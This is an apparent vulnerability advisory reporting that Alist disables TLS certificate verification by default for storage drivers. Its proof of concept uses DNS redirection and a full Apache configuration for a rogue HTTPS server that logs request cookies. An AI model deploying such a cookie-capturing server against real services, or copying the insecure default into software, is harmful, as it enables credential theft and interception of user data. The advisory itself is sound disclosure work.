Alist has Insecure TLS Config

Summary

The application disables TLS certificate verification by default for all outgoing storage driver communications, making the system vulnerable to Man-in-the-Middle (MitM) attacks. This enables the complete decryption, theft, and manipulation of all data transmitted during storage operations, severely compromising the confidentiality and integrity of user data.

Details

Certificate verification is disabled by default for all storage driver communications.

The TlsInsecureSkipVerify setting is default to true in the DefaultConfig() function in internal/conf/config.go.

func DefaultConfig() *Config {
    // ...
    TlsInsecureSkipVerify: true,
    // ...
}

This vulnerability enables Man-in-the-Middle (MitM) attacks by disabling TLS certificate verification, allowing attackers to intercept and manipulate all storage communications. Attackers can exploit this through network-level attacks like ARP spoofing, rogue Wi-Fi access points, or compromised internal network equipment to redirect traffic to malicious endpoints. Since certificate validation is skipped, the system will unknowingly establish encrypted connections with attacker-controlled servers, enabling full decryption, data theft, and manipulation of all storage operations without triggering any security warnings.

PoC

The /etc/hosts file was modified to simulate DNS hijacking and redirect www.weiyun.com to a malicious TLS-enabled HTTP server.

The purpose of this Proof of Concept is to demonstrate that the Alist server will establish communication with a malicious server due to disabled certificate verification. This allows interception and theft of authentication cookies used for communicating with other storage providers.

Video

Setup a malicious https server:

ssl.conf:

LoadModule ssl_module modules/mod_ssl.so
LoadModule log_config_module modules/mod_log_config.so

Listen 443

LogFormat "%h %l %u %t \"%r\" %>s %b Host:%{Host}i User-Agent:%{User-Agent}i Referer:%{Referer}i Accept:%{Accept}i Cookie:%{Cookie}i" headers
CustomLog "/usr/local/apache2/logs/headers.log" headers

<VirtualHost _default_:443>
    DocumentRoot "/usr/local/apache2/htdocs"
    ServerName localhost

    SSLEngine on
    SSLCertificateFile "/usr/local/apache2/conf/server.crt"
    SSLCertificateKeyFile "/usr/local/apache2/conf/server.key"

    ErrorLog "/usr/local/apache2/logs/ssl_error.log"

    <Directory "/usr/local/apache2/htdocs">
        Options Indexes FollowSymLinks
        AllowOverride None
        Require all granted
    </Directory>
</VirtualHost>